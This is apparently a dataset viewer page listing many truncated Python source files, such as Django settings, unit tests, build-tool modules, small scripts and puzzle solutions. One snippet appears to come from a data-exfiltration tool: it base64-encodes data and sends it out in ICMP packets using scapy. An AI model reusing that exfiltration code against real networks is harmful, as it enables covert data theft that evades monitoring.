text stringlengths 2 999k |
|---|
"""
Django settings for app project.
Generated by 'django-admin startproject' using Django 2.1.15.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
# Bu... |
class ColumnWidthChangingEventHandler(MulticastDelegate,ICloneable,ISerializable):
"""
Represents the method that will handle the System.Windows.Forms.ListView.ColumnWidthChanging event of a System.Windows.Forms.ListView.
ColumnWidthChangingEventHandler(object: object,method: IntPtr)
"""
def BeginInvoke(... |
import sys
class Chapter:
"""
A class used to represent a chapter from a book of the bible.
"""
def __init__(self, number: int, verses: tuple):
"""
Initialize a `Chapter` object.
:Parameters:
- `number`: integer containing the number of the chapter.
- ... |
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2016, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License with exception
# for distributing bootloader.
#
# The full license is in the file COPYING.txt, distributed with this s... |
"""Tuya constants."""
from enum import IntEnum, unique
@unique
class CMD_TYPE(IntEnum):
"""Tuya message types."""
UDP = 0
AP_CONFIG = 1
ACTIVE = 2
BIND = 3
RENAME_GW = 4
RENAME_DEVICE = 5
UNBIND = 6
CONTROL = 7
STATUS = 8
HEART_BEAT = 9
DP_QUERY = 10
QUERY_WIFI = 1... |
import re
monitoring = ['influxd', 'pypy']
watched_processes = monitoring
cpu = {'user': [],
'sys': [],
'idle': [],
'wait': []}
memory = {'free': [],
'buffers': [],
'cache': []}
samples_per_average = 60
system_memory = 125
def avg(l):
if len(l) == 0:
return 0
... |
from builtins import range
from builtins import object
import numpy as np
from cs231n.layers import *
from cs231n.rnn_layers import *
class CaptioningRNN(object):
"""
A CaptioningRNN produces captions from image features using a recurrent
neural network.
The RNN receives input vectors of size D, has... |
from expvar.stats import stats
from tornado.web import RequestHandler
class Stats(RequestHandler):
def get(self):
return self.write(stats.to_dict())
|
from __future__ import unicode_literals, division, absolute_import
from builtins import * # pylint: disable=unused-import, redefined-builtin
import os
import logging
import tempfile
from flexget import plugin
from flexget.event import event
log = logging.getLogger('check_subtitles')
class MetainfoSubs(object):
... |
'''
Tool to migrate archival data from the TaskStatus and Resource tables to
the Archival table.
'''
from optparse import OptionParser
import logging
import json
import datetime
import common
from running_stats import StatsList
# pip install 'ProgressBar==2.3'
from progressbar import ProgressBar, Percentage, Bar, E... |
#!/usr/bin/python3
with open('input.txt') as f:
input = f.read().splitlines()
# a valid passport has at least 7 fields, cid is optional
def valid(passport):
if len(passport.keys()) == 8:
return True
if 'cid' not in passport:
return True
return False
passports = []
current = {}
for line in input:
i... |
from openpyxl import load_workbook
filename = 'aalh_iit_korbphotographiccompany.xlsx'
wb = load_workbook(filename)
ws = wb['Metadata Template']
minimumcol = 43
maximumcol = 43
minimumrow = 7
maximumrow = 334
iterationrow = 7
identifiercol = 25
filenamecol = 43
countfilename = dict()
countidentifier ... |
#-------------------------------------#
# mAP所需文件计算代码
# 具体教程请查看Bilibili
# Bubbliiiing
#-------------------------------------#
import cv2
import numpy as np
import colorsys
import os
import torch
import torch.nn as nn
import torch.backends.cudnn as cudnn
from torch.autograd import Variable
... |
from logging.handlers import RotatingFileHandler
import logging
logging.basicConfig(
level=logging.INFO,
format="[%(asctime)s - %(levelname)s] - %(name)s - %(message)s",
datefmt='%d-%b-%y %H:%M:%S',
handlers=[
RotatingFileHandler(
"botlog.txt",
maxBytes=50000000,
... |
import inspect
import numpy as np
from .bdf import BDF
from .radau import Radau
from .rk import RK23, RK45, DOP853
from .lsoda import LSODA
from scipy.optimize import OptimizeResult
from .common import EPS, OdeSolution
from .base import OdeSolver
METHODS = {'RK23': RK23,
'RK45': RK45,
'DOP853': ... |
from __future__ import print_function
import re, os, sys
import FWCore.ParameterSet.Config as cms
from Configuration.DataProcessing.GetScenario import getScenario
"""
Example configuration for online reconstruction meant for visualization clients.
"""
unitTest = False
if 'unitTest=True' in sys.argv:
unitTest=True... |
# -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function
from unittest import TestCase
from polyaxon_deploy.schemas.ssl import SSLConfig
class TestSSLConfig(TestCase):
def test_ssl_config(self):
config_dict = {'enabled': True, 'secretName': 'foo', 'path': '/etc/ssl'}
... |
import os
import unittest
from checkov.arm.checks.PostgreSQLServerConnectionThrottlingEnabled import check
from checkov.arm.runner import Runner
from checkov.runner_filter import RunnerFilter
class TestPostgreSQLServerConnectionThrottlingEnabled(unittest.TestCase):
def test_summary(self):
runner = Runne... |
from __future__ import division, unicode_literals
import http.client
import json
import math
import os
import time
try:
import concurrent.futures
can_threaded_download = True
except ImportError:
can_threaded_download = False
from .common import FileDownloader
from .http import HttpFD
from ..aes import ae... |
# -*- coding: utf-8 -*-
#
# The MIT License (MIT)
# Copyright (C) 2014 SUSE LLC
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# right... |
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy import all as scapy
import base64
config = None
app_exfiltrate = None
def send(data):
data = base64.b64encode(data.encode())
app_exfiltrate.log_message(
'info', "[icmp] Sending {} bytes with ICMP packet".format(len(d... |
# -*- encoding: utf-8 -*-
# test_mst.py - unit tests for minimum spanning tree functions
#
# Copyright 2016-2019 NetworkX developers.
#
# This file is part of NetworkX.
#
# NetworkX is distributed under a BSD license; see LICENSE.txt for more
# information.
"""Unit tests for the :mod:`networkx.algorithms.tree.mst` modu... |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# vim: ts=4 sts=4 sw=4 tw=79 sta et
"""TagLogger caches the tag counts for a while before sending them to the db
"""
__author__ = 'Patrick Butler'
__email__ = 'pbutler@killertux.org'
from collections import OrderedDict, defaultdict
class TagLogger(object):
"""TagLog... |
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 7 00:44:48 2020
@author: saagar.parikh
"""
import numpy as np
from matplotlib import pyplot as plt
import cv2
path = "8.png" # Path of original image
img_orig = cv2.imread(path) # Creates an image o... |
def main():
n = int(input())
count = 0
for _ in range(n):
line = input().lower()
if 'rose' in line or 'pink' in line:
count+=1
print("I must watch Star Wars with my daughter" if count == 0 else count)
return
if __name__ == "__main__":
main()
|
# coding=utf-8
# Copyright 2018-2020 EVA
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to ... |
"""Project: Eskapade - A python-based package for data analysis.
Class: AssertInDs
Created: 2016/11/08
Description:
Algorithm that asserts that items exists in the datastore
Authors:
KPMG Advanced Analytics & Big Data team, Amstelveen, The Netherlands
Redistribution and use in source and binary forms, with... |
# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class GtkorvoDill(CMakePackage):
"""DILL provides instruction-level code generation,
registe... |
from .string_table import _StringTable
class _CsvHeaders:
HEADERS = [
# Common
_StringTable.Type,
_StringTable.Status,
_StringTable.Id,
_StringTable.ParentId,
_StringTable.SubType,
_StringTable.Campaign,
_StringTable.AdGroup,
_StringTable.Web... |
"""SCons.Tool.sgicc
Tool-specific initialization for MIPSPro cc on SGI.
There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.
"""
#
# Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 The SCons Foundation
#... |
#!/usr/bin/env python3
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
from test_framework.script import *
from test_framework.mininode import *
from test_framework.eqpay import *
from test_framework.address import *
from test_framework.blocktools import *
"""
Note, t... |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
import argparse
import numpy as np
import tensorflow as tf
import cv2
from scipy.misc import imread
from scipy import ndimage as nd
impor... |
n,k=list(map(int,input().strip().split()))
print(' '.join(map(str,list(range(n-k+1,n+1))+list(range(1,n-k+1))))) |
#! /ufs/guido/bin/sgi/python
# A demo of GL's viewing transformations, showing two views on one scene.
# Requires the NASA AMES Panel Library. Requires Z buffer.
from gl import *
from GL import *
import panel
from math import sin, cos, pi
inf = 1000000.0
far = 1000.0
near = 100.0
def main():
foreground()
#
keep... |
#installer.py
#A part of NonVisual Desktop Access (NVDA)
#This file is covered by the GNU General Public License.
#See the file COPYING for more details.
#Copyright (C) 2011-2017 NV Access Limited, Joseph Lee, Babbage B.V.
from ctypes import *
from ctypes.wintypes import *
import _winreg
import threading
imp... |
"""
WSGI config for payout project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTIN... |
"""
Tests the sqlite library db
"""
def test_init_library_db(setup, library_db):
"""
tests the initializing of the library db for columns and tables
"""
from src.praxxis.sqlite import connection
conn = connection.create_connection(library_db)
cur = conn.cursor()
check_library_m... |
from django.shortcuts import render, redirect
import csv
import time
import json
import requests
from django.core.urlresolvers import reverse
from django import forms
from . import models
import os
class EnterIDForm(forms.Form):
'''
Short form to enter in a meeting ID. Validate_trip_id function cleans the
... |
# Copyright 2019 Ali (@bincyber)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
import os
import math
from flask import (
Flask, flash, render_template,
redirect, request, session, url_for)
from flask_pymongo import PyMongo, pymongo
from flask_paginate import get_page_args
from bson.objectid import ObjectId
from werkzeug.security import generate_password_hash, check_password_hash
if os.pat... |
import numpy as np
import sys
sys.path.insert(1,'../functions')
from matplotlib import pyplot as plt
from sentinelhub import BBox, CRS, DataCollection, SHConfig
## -- for testing
# 1.) check type of image_height,width
# 2.) check type of bbox
# 3.) if any input value is None return value error.
def get_coord_matrix... |
from logic.receive import Receive
from multiprocessing import Manager
class Interface:
def __init__(self, address, port):
self.address = address
self.port = port
self.manager_process = Manager()
self.rooms = self.manager_process.dict()
def start_server(self):
server =... |
"""gonative URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-base... |
from transformers.tokenization_auto import AutoTokenizer
from allennlp.common.testing import AllenNlpTestCase
from allennlp.data import Token, Vocabulary
from allennlp.data.token_indexers import PretrainedTransformerIndexer
from allennlp.data.tokenizers import PretrainedTransformerTokenizer
class TestPretrainedTrans... |
"""Per-prefix data, mapping each prefix to a dict of locale:name.
Auto-generated file, do not edit by hand.
"""
from ..util import u
# Copyright (C) 2011-2021 The Libphonenumber Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the Licens... |
template = """
{
"assets": {
"uris": {
"cmd": "http://minio.marathon.l4lb.thisdcos.directory:9000/artifacts/%(template)s/cmd.sh"
}
},
"images": {
"icon-small": "https://github.com/dcos/dcos-ui/blob/master/plugins/services/src/img/icon-service-default-small.png?raw=true",
"icon-medium": "http... |
"""This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.
"""
from django.db import migrations
def remove(apps, schema_editor):
View = apps.get_model('data_manager', 'View')
views = View.objects.all(... |
#!/usr/bin/python -u
import sys
import re
import os
piddic = {}
timedic = {}
def statistic(time, pid, tag):
if timedic.has_key(time) == False:
timedic[time] = 1
else:
timedic[time] += 1
if piddic.has_key(pid) == False:
tagdic = {}
piddic[pid] = tagdic
else:
tagdic = piddic[pid]
if tagdic.has_key(tag... |
class Solution(object):
def findDuplicates(self, nums):
"""
:type nums: List[int]
:rtype: List[int]
"""
result = []
for x in nums:
if nums[abs(x)-1] < 0:
result.append(abs(x))
nums[abs(x)-1] *= -1
return result
class So... |
#%%
"""
- Merge k Sorted Lists
- https://leetcode.com/problems/merge-k-sorted-lists/
- Hard
Merge k sorted linked lists and return it as one sorted list. Analyze and describe its complexity.
Example:
Input:
[
1->4->5,
1->3->4,
2->6
]
Output: 1->1->2->3->4->4->5->6
"""
#%%
class ListNode:
def __init__(self... |
# Copyright (c) 2014 Thomas Scholtes
# -*- coding: utf-8 -*-
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modi... |
from twisted.trial.unittest import TestCase
import vumi.blinkenlights.message20110818 as message
import time
class TestMessage(TestCase):
def test_to_dict(self):
now = time.time()
datapoint = ("vumi.w1.a_metric", now, 1.5, ("sum",))
msg = message.MetricMessage()
msg.append(datapoi... |
#!/usr/bin/env python3
import math
import exifread
import json
import glob
import ntpath
import os
def readImage(file_name):
f = open(file_name, "rb")
image_json = {"Name":ntpath.basename(file_name), "Size":os.path.getsize(file_name)}
tags = exifread.process_file(f, details=False)
latitude = 0.0
longitude = 0.0
... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2017-04-27 12:56
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('RoomManage', '0002_auto_20170427_1523'),
]
operation... |
import widget
import curses
_stop = False
_WindowWidget = None
_cursorPos = (0,0)
_cursorEnabled = False
COLORPAIR_RED = 1
COLORPAIR_GREEN = 2
def _initColors():
curses.init_pair(COLORPAIR_RED, curses.COLOR_RED, curses.COLOR_BLACK)
curses.init_pair(COLORPAIR_GREEN, curses.COLOR_GREEN, curses.COLOR_BLACK)
def setC... |
# encoding: utf-8
import re
def normas(text):
#ARTIGO = r'(?P<artigo>art(igo)?\s*\.*\s*\d+\s*\,*\d+\s*\,*(e)*\s*\d+)'
ARTIGO = r'(?P<artigo>art(igo)*\s*\.*\s*\d*(\s)*(º)*\s*(\(\.\.\.\))*(e\s)*\,*\d*(\s)*\,*\s*[LIVX]*( do CDC)*)'
PARAGRAFO = r"(?P<paragrafo>(§\s+\d+|par[áa]grafo\ [úu]nico|par[áa]grafo\s?\.... |
# Copyright The PyTorch Lightning team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... |
# coding=utf-8
# Copyright 2020 The TensorFlow Datasets Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
"""Helpers for macros"""
import logging
from typing import Dict, Any, List, Tuple
LOGGER = logging.getLogger(__name__)
MACRO = "$"
def fill_macros(item: Any, macros: Dict[str, Dict[str, Any]] = None) -> Any:
"""Create item whose macro params present in macros are filled.
Returns a new dictionary, tuple o... |
from __future__ import annotations
from typing import Any, Dict, List, Optional
import dataclasses
import json
import logging
from ..config import ACResource, Config
from ..utils import dump_yaml
from .k8sobject import KubernetesObject
from .location import LocationManager
@dataclasses.dataclass
class NormalizedRe... |
"""
The MIT License (MIT)
Copyright (c) 2021 Cong Vo
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge... |
# You can use disnake or nextcord or something like this.
from discord.ext import commands
from boticordpy import webhook
bot = commands.Bot(command_prefix="!")
async def edit_bot_comment(data):
print(data.comment.new)
boticord_webhook = webhook.Webhook("x-hook-key", "bot").register_listener("edit_bot_comment... |
from typing import Tuple, Optional, List
from quarkchain.cluster.rpc import TransactionDetail
from quarkchain.core import (
RootBlock,
MinorBlock,
MinorBlockHeader,
CrossShardTransactionList,
Branch,
Address,
CrossShardTransactionDeposit,
)
from quarkchain.utils import check, Logger
class... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of Python Challenge Solutions
# https://github.com/scorphus/PythonChallengeSolutions
# Licensed under the BSD-3-Clause license:
# https://opensource.org/licenses/BSD-3-Clause
# Copyright (c) 2018-2020, Pablo S. Blum de Aguiar <scorphus@gmail.com>
# ht... |
"""
Comments on notation found in the appendix.
Notation
--------
P :
A set of players, where P_i is one player.
h :
A node (i.e history), h is defined by all information of the current
situation, including private knowledge known only to one player.
A(h) :
Denotes the actions available at a node... |
# -*- coding: utf-8 -*-
#
# TolaActivity documentation build configuration file, created by
# sphinx-quickstart on Tue Jan 24 14:45:55 2017.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
... |
import pytest
from math import ceil
from aiohttp import BasicAuth, request
from unittest.mock import Mock, patch
from urllib.parse import parse_qs, urlparse
from fhirpy.base.utils import parse_pagination_url
from fhirpy import AsyncFHIRClient
from fhirpy.lib import AsyncFHIRResource
from fhirpy.base.exceptions import ... |
# -*- coding: utf-8 -*-
"""
Gatt Service Collection class and interface class for the Bleak representation of a GATT Service.
Created on 2019-03-19 by hbldh <henrik.blidh@nedomkull.com>
"""
import abc
import uuid
from uuid import UUID
from typing import List, Union, Iterator
from bleak import BleakError
from bleak.u... |
"""Dataset class for cars3d
ref)
https://github.com/google-research/disentanglement_lib/blob/master/disentanglement_lib/data/ground_truth/cars3d.py
"""
import pathlib
from PIL import Image
import numpy as np
import scipy.io as sio
import torch
from .base_data import BaseDataset
class Cars3dDataset(BaseDataset):
... |
# Generated by Django 3.1.7 on 2021-03-11 04:49
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
ope... |
from direct.actor import Actor
from direct.task import Task
from toontown.toonbase import ToontownGlobals
import string
import random
from pandac.PandaModules import *
from direct.interval.IntervalGlobal import *
from direct.fsm.ClassicFSM import ClassicFSM
from direct.fsm.State import State
from direct.directnotify im... |
import _plotly_utils.basevalidators
class ZmaxValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(self, plotly_name="zmax", parent_name="histogram2dcontour", **kwargs):
super(ZmaxValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
... |
'''[*args]
Recall from iterable packing
a, b, c = (10, 2O, 30) -> A = 10 B = 20 C = 30
Something similar happens when positional arguments are passed to a function:
def func1(a, b, c):
# CODE
func1(10, 20, 30) -> a = 10 b = 20 c = 30
Recall also: a, b, *c = 10, 20, 'a', 'b' -> a=10 ... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... |
# Copyright (c) 2021 by Cisco Systems, Inc.
# All rights reserved.
expected_output = {
"03AA.BB00.0000.0200.0001": {
"interface": "Port-channel1",
"redundancy_mode": "all-active",
"df_wait_time": 3,
"split_horizon_label": 16,
"state": "Ready",
"encap_type": "mpls",
... |
import pyblish.api
import openpype.api
class ValidateBypassed(pyblish.api.InstancePlugin):
"""Validate all primitives build hierarchy from attribute when enabled.
The name of the attribute must exist on the prims and have the same name
as Build Hierarchy from Attribute's `Path Attribute` value on the Ale... |
class Propriedade():
def __init__(self, custo_venda = 0, valor_aluguel = 0, proprietario = None, posicao = 0) -> None:
self.custo_venda = custo_venda
self.valor_aluguel = valor_aluguel
self.proprietario = proprietario
self.posicao = posicao
def situacao_propriedade(self):
... |
# -*- coding: utf-8 -*-
import logging
import os
import sentry_sdk
from dotenv import load_dotenv
from flasgger import Swagger
from sentry_sdk.integrations.flask import FlaskIntegration
def init_db(app):
app.logger.info('Inicializando banco de dados')
if app.config['TESTING'] is True:
app.config['SQ... |
# ch8ex14_togray.py
"""Has the togray(image) function."""
from graphics import GraphWin, Image, Point, color_rgb, update
from tkinter.filedialog import asksaveasfilename
def togray(in_path):
"""Convert a color image to grayscale.
The conversion occures after a user click inside the graphics
window. Then, ... |
from json import dumps
from flask import Flask, request, Response
app = Flask(__name__)
BASE_PATH = "/" # often "/dts/api/" in spec examples
COLLECTIONS_PATH = f"{BASE_PATH}collections/"
DOCUMENTS_PATH = f"{BASE_PATH}documents/"
NAVIGATION_PATH = f"{BASE_PATH}navigation/"
BASE_API_ENDPOINT = {
"@context": f... |
import torch
class Decoder(torch.nn.Module):
# TODO: support learnable fusion modules
def __init__(self):
super().__init__()
self.FUSION_DIC = {"2to1_fusion": ["sum", "diff", "abs_diff"],
"2to2_fusion": ["concat"]}
def fusion(self, x1, x2, fusion_form="concat"):... |
from taskobra.orm import *
import platform
import cpuinfo
import subprocess
def create_system(args, database_engine):
system = System(name=platform.node())
cpu_info = cpuinfo.get_cpu_info()
system.add_component(OperatingSystem(
name=platform.system(),
version=platform.platform(),
))
... |
from config.urlConf import urls
from inter.ConfirmHB import confirmHB
class passengerInitApi:
def __init__(self, session, secretList, tickerNo):
"""
获取候补信息
"""
self.secretList = secretList
self.tickerNo = tickerNo
self.session = session
def sendPassengerInitApi... |
#!/usr/bin/env ipython
# The functions in this file relate to evaluating the performance of the model
# Specifically we are interested in the utility of models with different privacy levels
import numpy as np
from sklearn.metrics import log_loss
import data_utils
import model_utils
from results_utils import Experimen... |
import numpy as np
import h5py
import tensorflow as tf
import tensorflowjs as tfjs
import json
import math
class ExtremeLearningMachine(object):
def __init__(self, n_unit, activation=None):
self._activation = self._sig if activation is None else activation
self._n_unit = n_unit
@staticmethod
... |
# -*- coding: utf-8 -*-
# ---
# jupyter:
# jupytext:
# cell_metadata_filter: collapsed
# formats: ipynb,py:light
# rst2md: false
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.4'
# jupytext_version: 1.2.1
# kernelspec:
# display_name: Py... |
# Copyright 2018 Luddite Labs Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
"""
pygame-menu
https://github.com/ppizarror/pygame-menu
EXAMPLE - WINDOW RESIZE
Resize the menu when the window is resized.
License:
-------------------------------------------------------------------------------
The MIT License (MIT)
Copyright 2017-2021 Pablo Pizarro R. @ppizarror
Permission is hereby granted, fre... |
import json
import random
import uuid
import time
import jwt
import urllib
import os
from locust import HttpLocust, TaskSet, task
from locust.exception import InterruptTaskSet, StopLocust
from locust.web import logger
an_endpoint_uri = "/some/uri/with/path/value/%i"
def queryGlobalMethodExample(self, value):
head... |
from datetime import datetime
import time
at_start = datetime.utcnow()
print(at_start.second)
time.sleep(3)
at_later = datetime.utcnow()
print(at_later.second) |
import os
import sys
sys.path.insert(1, os.path.join(sys.path[0], '../../helpers'))
from helpers import helm_template
import yaml
clusterName = 'elasticsearch'
nodeGroup = 'master'
uname = clusterName + '-' + nodeGroup
def test_defaults():
config = '''
'''
r = helm_template(config)
# Statefulset
... |
"""
Class defined for a basket object. Will contain an integer ID, a list of items, a date,the number of items in the
basket, and the total price of the transaction
"""
class Basket:
# Basket attributes, constructor (?)
def __init__(self, ID=0, date='', items=[], cost=0):
self.ID = ID
... |
'''programa para saludar a usuario y mostrar producto de 2 numeros'''
nombre = input('por favor, dime tu nombre: ')
print(nombre, 'ingresa 2 numeros')
n1 = int(input('\n'))
n2 = int(input())
producto = n1 / n2
print(nombre, 'el producto de los numeros', n1, n2,'es: ', producto)
|
#! /bin/bash
"source" "find_python.sh" "--local"
"exec" "$PYTHON" "$0" "$@"
#
# BSD LICENSE
#
# Copyright(c) 2010-2014 Intel Corporation. All rights reserved.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the followin... |
import torch
from abc import abstractmethod
from numpy import inf
from logger import TensorboardWriter
class BaseTrainer:
"""
Base class for all trainers
"""
def __init__(self, model, metric_ftns, optimizer, config):
self.config = config
self.logger = config.get_logger('trainer', confi... |
import time
from PythonQt import QtCore
import traceback
class TimerCallback(object):
def __init__(self, targetFps=30, callback=None):
'''
Construct TimerCallback. The targetFps defines frames per second, the
frequency for the ticks() callback method.
'''
self.targetFps = ... |
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
requires = ['boltons>=18.0.1,<19.0.0', 'transitions>=0.6.9']
setuptools.setup(
name = "AutoscalingLifecycle",
version = "1.0.1",
author = "Jan Schumann",
author_email = "js@schumann-it.com",
description = "A lib... |
"""
Mask R-CNN
Display and Visualization Functions.
Copyright (c) 2017 Matterport, Inc.
Licensed under the MIT License (see LICENSE for details)
Written by Waleed Abdulla
"""
import os
import sys
import logging
import random
import itertools
import colorsys
import numpy as np
from skimage.measure import find_contour... |
# Generated by Django 2.2.22 on 2021-06-14 15:06
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('exportplan', '0037_exportplanactions'),
]
operations = [
migrations.RemoveField(
model_name='companyexportplan',
name='sect... |
"""
Interpreter module for `pyvalet`
This module defines the base class, and concrete implementation for our API wrapper.
"""
import re
import requests
import pandas as pd
from io import StringIO
from pathlib import Path
from typing import Tuple, Any, Dict, List
from requests.exceptions import Timeout, HTTPError
from... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.